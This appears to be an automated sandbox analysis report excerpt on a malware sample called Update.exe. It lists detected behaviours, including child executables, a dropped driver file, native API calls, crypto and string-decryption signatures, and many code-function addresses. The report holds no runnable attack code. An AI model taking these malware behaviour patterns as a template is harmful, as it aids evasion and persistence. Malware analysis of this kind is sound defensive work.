Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE1394 NtQueryWnfStateNameInformation, 17_2_00007FF633FE1394
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: 97_2_00007FF771DB1394 NtAccessCheckByTypeResultList, 97_2_00007FF771DB1394
Source: C:\Windows\System32\conhost.exe Code function: 113_2_0000000140001394 NtClose, 113_2_0000000140001394
Creates driver files
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe File created: C:\Windows\TEMP\jxokwqntprmq.sys
Deletes files inside the Windows folder
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File deleted: C:\Windows\Temp\__PSScriptPolicyTest_eifcxopy.csd.ps1
Detected potential crypto function
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F71000 0_2_00007FF623F71000
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F96964 0_2_00007FF623F96964
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F789E0 0_2_00007FF623F789E0
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F81D54 0_2_00007FF623F81D54
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F8E570 0_2_00007FF623F8E570
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F835A0 0_2_00007FF623F835A0
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F95E7C 0_2_00007FF623F95E7C
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F89EA0 0_2_00007FF623F89EA0
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F8DEF0 0_2_00007FF623F8DEF0
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F99728 0_2_00007FF623F99728
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F81740 0_2_00007FF623F81740
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F81F60 0_2_00007FF623F81F60
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F88794 0_2_00007FF623F88794
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F79800 0_2_00007FF623F79800
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F91874 0_2_00007FF623F91874
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F940AC 0_2_00007FF623F940AC
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F908C8 0_2_00007FF623F908C8
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F880E4 0_2_00007FF623F880E4
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F81944 0_2_00007FF623F81944
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F82164 0_2_00007FF623F82164
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F839A4 0_2_00007FF623F839A4
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F8DA5C 0_2_00007FF623F8DA5C
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F7A2DB 0_2_00007FF623F7A2DB
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F81B50 0_2_00007FF623F81B50
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F95C00 0_2_00007FF623F95C00
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F93C10 0_2_00007FF623F93C10
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F82C10 0_2_00007FF623F82C10
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F908C8 0_2_00007FF623F908C8
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F96418 0_2_00007FF623F96418
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F7A47B 0_2_00007FF623F7A47B
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F7ACAD 0_2_00007FF623F7ACAD
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F85D30 0_2_00007FF623F85D30
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F71000 1_2_00007FF623F71000
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F96964 1_2_00007FF623F96964
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F7A2DB 1_2_00007FF623F7A2DB
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F81D54 1_2_00007FF623F81D54
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F8E570 1_2_00007FF623F8E570
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F835A0 1_2_00007FF623F835A0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F95E7C 1_2_00007FF623F95E7C
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F89EA0 1_2_00007FF623F89EA0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F8DEF0 1_2_00007FF623F8DEF0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F99728 1_2_00007FF623F99728
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F81740 1_2_00007FF623F81740
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F81F60 1_2_00007FF623F81F60
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F88794 1_2_00007FF623F88794
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F79800 1_2_00007FF623F79800
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F91874 1_2_00007FF623F91874
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F940AC 1_2_00007FF623F940AC
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F908C8 1_2_00007FF623F908C8
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F880E4 1_2_00007FF623F880E4
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F81944 1_2_00007FF623F81944
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F82164 1_2_00007FF623F82164
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F839A4 1_2_00007FF623F839A4
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F789E0 1_2_00007FF623F789E0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F8DA5C 1_2_00007FF623F8DA5C
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F81B50 1_2_00007FF623F81B50
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F95C00 1_2_00007FF623F95C00
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F93C10 1_2_00007FF623F93C10
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F82C10 1_2_00007FF623F82C10
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F908C8 1_2_00007FF623F908C8
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F96418 1_2_00007FF623F96418
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F7A47B 1_2_00007FF623F7A47B
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F7ACAD 1_2_00007FF623F7ACAD
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FF623F85D30 1_2_00007FF623F85D30
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFA111860 1_2_00007FFDFA111860
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEEB360 1_2_00007FFDFAEEB360
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE1398 1_2_00007FFDFAEE1398
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAF91AA0 1_2_00007FFDFAF91AA0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE114F 1_2_00007FFDFAEE114F
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE13F2 1_2_00007FFDFAEE13F2
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE1451 1_2_00007FFDFAEE1451
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEEF9C5 1_2_00007FFDFAEEF9C5
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE1C99 1_2_00007FFDFAEE1C99
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE199C 1_2_00007FFDFAEE199C
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE115E 1_2_00007FFDFAEE115E
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEF12F0 1_2_00007FFDFAEF12F0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE15B4 1_2_00007FFDFAEE15B4
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE1BE0 1_2_00007FFDFAEE1BE0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEFF660 1_2_00007FFDFAEFF660
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE1A8C 1_2_00007FFDFAEE1A8C
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE17BE 1_2_00007FFDFAEE17BE
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE1537 1_2_00007FFDFAEE1537
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE6BA0 1_2_00007FFDFAEE6BA0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAF40B50 1_2_00007FFDFAF40B50
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE20B3 1_2_00007FFDFAEE20B3
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE168B 1_2_00007FFDFAEE168B
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE195B 1_2_00007FFDFAEE195B
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAF30240 1_2_00007FFDFAF30240
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE2572 1_2_00007FFDFAEE2572
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAF48460 1_2_00007FFDFAF48460
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAEE1DD4 1_2_00007FFDFAEE1DD4
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB2F6EE0 1_2_00007FFDFB2F6EE0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA707C 1_2_00007FFDFAFA707C
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA3698 1_2_00007FFDFAFA3698
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA416A 1_2_00007FFDFAFA416A
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA348B 1_2_00007FFDFAFA348B
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA60DC 1_2_00007FFDFAFA60DC
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFBBF20 1_2_00007FFDFAFBBF20
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFBBD60 1_2_00007FFDFAFBBD60
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA5E25 1_2_00007FFDFAFA5E25
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA5A65 1_2_00007FFDFAFA5A65
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB0D3CC0 1_2_00007FFDFB0D3CC0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA1CC6 1_2_00007FFDFAFA1CC6
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA2671 1_2_00007FFDFAFA2671
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA3BA7 1_2_00007FFDFAFA3BA7
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA7257 1_2_00007FFDFAFA7257
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA3837 1_2_00007FFDFAFA3837
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA2987 1_2_00007FFDFAFA2987
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA114F 1_2_00007FFDFAFA114F
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA6EF1 1_2_00007FFDFAFA6EF1
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFCB1C0 1_2_00007FFDFAFCB1C0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFBF200 1_2_00007FFDFAFBF200
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFBF060 1_2_00007FFDFAFBF060
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB15B0E0 1_2_00007FFDFB15B0E0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA50B0 1_2_00007FFDFAFA50B0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB0D7780 1_2_00007FFDFB0D7780
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA57D6 1_2_00007FFDFAFA57D6
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA1B36 1_2_00007FFDFAFA1B36
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA435E 1_2_00007FFDFAFA435E
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB00F700 1_2_00007FFDFB00F700
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA3792 1_2_00007FFDFAFA3792
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA474B 1_2_00007FFDFAFA474B
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA2D10 1_2_00007FFDFAFA2D10
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB0D7480 1_2_00007FFDFB0D7480
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFCB550 1_2_00007FFDFAFCB550
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA3A94 1_2_00007FFDFAFA3A94
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB0E2C00 1_2_00007FFDFB0E2C00
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA1B27 1_2_00007FFDFAFA1B27
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA5F10 1_2_00007FFDFAFA5F10
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA4D09 1_2_00007FFDFAFA4D09
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA5DA3 1_2_00007FFDFAFA5DA3
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB15A900 1_2_00007FFDFB15A900
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA44CB 1_2_00007FFDFAFA44CB
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA53AD 1_2_00007FFDFAFA53AD
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA23F6 1_2_00007FFDFAFA23F6
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB143010 1_2_00007FFDFB143010
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA638E 1_2_00007FFDFAFA638E
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA213A 1_2_00007FFDFAFA213A
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA53C6 1_2_00007FFDFAFA53C6
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFBEF00 1_2_00007FFDFAFBEF00
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA4F43 1_2_00007FFDFAFA4F43
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA2171 1_2_00007FFDFAFA2171
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA15C8 1_2_00007FFDFAFA15C8
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA54CF 1_2_00007FFDFAFA54CF
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA1299 1_2_00007FFDFAFA1299
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA6564 1_2_00007FFDFAFA6564
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB082CD0 1_2_00007FFDFB082CD0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA5434 1_2_00007FFDFAFA5434
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA6EBF 1_2_00007FFDFAFA6EBF
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA1A50 1_2_00007FFDFAFA1A50
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA3634 1_2_00007FFDFAFA3634
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA2301 1_2_00007FFDFAFA2301
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA26EE 1_2_00007FFDFAFA26EE
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA2FD1 1_2_00007FFDFAFA2FD1
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA11CC 1_2_00007FFDFAFA11CC
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB156100 1_2_00007FFDFB156100
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA6D5C 1_2_00007FFDFAFA6D5C
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA4E53 1_2_00007FFDFAFA4E53
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA68CA 1_2_00007FFDFAFA68CA
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA318E 1_2_00007FFDFAFA318E
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA6FFF 1_2_00007FFDFAFA6FFF
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB0E25D0 1_2_00007FFDFB0E25D0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB0CE5F0 1_2_00007FFDFB0CE5F0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA144C 1_2_00007FFDFAFA144C
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA1217 1_2_00007FFDFAFA1217
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA10AA 1_2_00007FFDFAFA10AA
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA65A0 1_2_00007FFDFAFA65A0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA4408 1_2_00007FFDFAFA4408
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA1D02 1_2_00007FFDFAFA1D02
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA3602 1_2_00007FFDFAFA3602
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB0CDC50 1_2_00007FFDFB0CDC50
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA59FC 1_2_00007FFDFAFA59FC
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB1599D0 1_2_00007FFDFB1599D0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA3A8A 1_2_00007FFDFAFA3A8A
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA1424 1_2_00007FFDFAFA1424
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA2761 1_2_00007FFDFAFA2761
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA4C19 1_2_00007FFDFAFA4C19
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA22B1 1_2_00007FFDFAFA22B1
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA736A 1_2_00007FFDFAFA736A
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA1D88 1_2_00007FFDFAFA1D88
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA72AC 1_2_00007FFDFAFA72AC
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA1622 1_2_00007FFDFAFA1622
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA228E 1_2_00007FFDFAFA228E
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA5515 1_2_00007FFDFAFA5515
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA428C 1_2_00007FFDFAFA428C
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFBD260 1_2_00007FFDFAFBD260
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA30C6 1_2_00007FFDFAFA30C6
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA5BF5 1_2_00007FFDFAFA5BF5
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFC5200 1_2_00007FFDFAFC5200
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB1450B0 1_2_00007FFDFB1450B0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB159100 1_2_00007FFDFB159100
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA710D 1_2_00007FFDFAFA710D
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB0D9130 1_2_00007FFDFB0D9130
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB0E1760 1_2_00007FFDFB0E1760
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA4C3C 1_2_00007FFDFAFA4C3C
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA2E91 1_2_00007FFDFAFA2E91
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA54D4 1_2_00007FFDFAFA54D4
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA276B 1_2_00007FFDFAFA276B
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA4ACA 1_2_00007FFDFAFA4ACA
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA504C 1_2_00007FFDFAFA504C
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFB0D1490 1_2_00007FFDFB0D1490
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA32EC 1_2_00007FFDFAFA32EC
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA5614 1_2_00007FFDFAFA5614
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFDFAFA5934 1_2_00007FFDFAFA5934
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFE01360210 1_2_00007FFE01360210
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFE01320090 1_2_00007FFE01320090
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFE0130EB60 1_2_00007FFE0130EB60
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFE01381F40 1_2_00007FFE01381F40
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFE013061C0 1_2_00007FFE013061C0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFE01339080 1_2_00007FFE01339080
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFE0134D0B0 1_2_00007FFE0134D0B0
Source: C:\Users\user\Desktop\Update.exe Code function: 1_2_00007FFE13337508 1_2_00007FFE13337508
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_00007FFD9AEE3027 7_2_00007FFD9AEE3027
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE5289 17_2_00007FF633FE5289
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE5289 17_2_00007FF633FE5289
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE5289 17_2_00007FF633FE5289
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE5289 17_2_00007FF633FE5289
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE5289 17_2_00007FF633FE5289
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE5289 17_2_00007FF633FE5289
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE5289 17_2_00007FF633FE5289
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE5289 17_2_00007FF633FE5289
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE5289 17_2_00007FF633FE5289
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE5289 17_2_00007FF633FE5289
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE5289 17_2_00007FF633FE5289
Source: C:\Users\user\AppData\Local\Temp\Build.exe Code function: 17_2_00007FF633FE5289 17_2_00007FF633FE5289
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Code function: 23_2_0511F943 23_2_0511F943
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Code function: 23_2_0511D024 23_2_0511D024
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: 97_2_00007FF771DB5289 97_2_00007FF771DB5289
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: 97_2_00007FF771DB5289 97_2_00007FF771DB5289
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: 97_2_00007FF771DB5289 97_2_00007FF771DB5289
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: 97_2_00007FF771DB5289 97_2_00007FF771DB5289
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: 97_2_00007FF771DB5289 97_2_00007FF771DB5289
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: 97_2_00007FF771DB5289 97_2_00007FF771DB5289
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: 97_2_00007FF771DB5289 97_2_00007FF771DB5289
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: 97_2_00007FF771DB5289 97_2_00007FF771DB5289
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: 97_2_00007FF771DB5289 97_2_00007FF771DB5289
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: 97_2_00007FF771DB5289 97_2_00007FF771DB5289
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: 97_2_00007FF771DB5289 97_2_00007FF771DB5289
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Code function: 97_2_00007FF771DB5289 97_2_00007FF771DB5289
Source: C:\Windows\System32\conhost.exe Code function: 113_2_0000000140003150 113_2_0000000140003150
Source: C:\Windows\System32\conhost.exe Code function: 113_2_00000001400026E0 113_2_00000001400026E0
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\Update.exe Code function: String function: 00007FFDFAFA3012 appears 55 times
